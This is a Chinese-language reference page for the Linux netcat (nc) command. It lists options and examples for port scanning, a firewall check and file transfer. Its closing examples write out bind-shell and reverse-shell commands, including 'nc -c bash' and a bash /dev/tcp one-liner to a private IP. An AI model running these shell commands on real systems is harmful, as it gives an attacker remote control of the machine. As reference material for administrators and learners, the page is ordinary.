nc

nc是網絡工具中的瑞士軍刀

補充說明

nc命令 全稱netcat,用於TCP、UDP或unix域套接字(uds)的數據流操作,它可以打開TCP連接,發送UDP數據包,監聽任意TCP 和UDP端口,同時也可用作做端口掃描,支持IPv4和IPv6,與Telnet的不同在於nc可以編寫腳本。

語法

1nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信端口>]
2[-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端口...]

選項

 1-4 只使用IPV4
 2-6 只使用IPV6
 3-c 使用tls連接或者監聽
 4-D 啓用socket調試開關
 5-g <網關> # 設置路由器躍程通信網關,最多可設置8個。
 6-G<指向器數目> # 設置來源路由指向器,其數值爲4的倍數。
 7-h 在線幫助。
 8-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口。
 9-l 使用監聽模式,管控傳入的資料。
10-n 直接使用IP地址,而不通過域名服務器。
11-o<輸出文件> # 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
12-p<通信端口> # 設置本地主機使用的通信端口。
13-r 亂數指定本地與遠端主機的通信端口。
14-s<來源位址> # 設置本地主機送出數據包的IP地址。
15-u 使用UDP傳輸協議。
16-v 顯示指令執行過程。
17-w<超時秒數> # 設置等待連線的時間。
18-z 使用0輸入/輸出模式,只在掃描通信端口時使用。

實例

TCP端口掃描

1[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 
2192.168.0.3: inverse host lookup failed: Unknown host
3(UNKNOWN) [192.168.0.3] 80 (http) open
4(UNKNOWN) [192.168.0.3] 23 (telnet) open
5(UNKNOWN) [192.168.0.3] 22 (ssh) open

掃描192.168.0.3 的端口 範圍是 1-100 掃描UDP端口

1[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000  # 掃描192.168.0.3 的端口 範圍是 1-1000

掃描指定端口

1[root@localhost ~]# nc -nvv 192.168.0.1 80 # 掃描 80端口
2(UNKNOWN) [192.168.0.1] 80 (?) open
3y  //用戶輸入

查看從服務器到目的地的出站端口 443 是否被防火牆阻止

1nc -vz acme-v02.api.letsencrypt.org 443 -w2
2# Ncat: Version 7.50 ( https://nmap.org/ncat )
3# Ncat: Connected to 23.77.214.183:443.
4# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.

文件傳輸

1# 接收方提前設置監聽端口與要接收的文件名(文件名可自定義):
2nc -lp 8888 > node.tar.gz
3
4# 傳輸方發文件:
5nc -nv 192.168.75.121 8888  < node_exporter-1.3.1.linux-amd64.tar.gz
6# ⚠️ 注意:192.168.75.121是接收方的ip地址。
1# 如果希望文件傳輸結束後自動退出,可以使用下面的命令:
2nc -lp 8888 > node.tar.gz
3nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz
4# ⚠️ 注意:-i 表示閒置超時時間

遠程控制

1# 正向控制,被控端主動設置監聽端口及bash環境,控制端連接,如果有防火牆,需開放端口,否則會被攔截。
2# 被控制端執行下面的命令:
3nc -lvnp 8888 -c bash
4# 控制端執行下面的命令:
5nc 192.168.75.121 8888
1# 反向控制,控制端設置監聽端口,被控端主動連接控制端的ip及端口,並提供bash環境。
2# 控制端執行下面的命令:
3nc -lvnp 8888
4# 被控制端執行下面的命令:
5nc 192.168.75.121 8888 -c bash

反彈shell

1# 控制端執行下面的命令:
2nc -lvnp 8888
1# 被控端執行下面的命令:
2bash -i &> /dev/tcp/192.168.75.121/8888 0>&1

來源:https://github.com/jaywcjlove/linux-command

最後修改於: Wednesday, January 31, 2024

相關文章:

翻譯: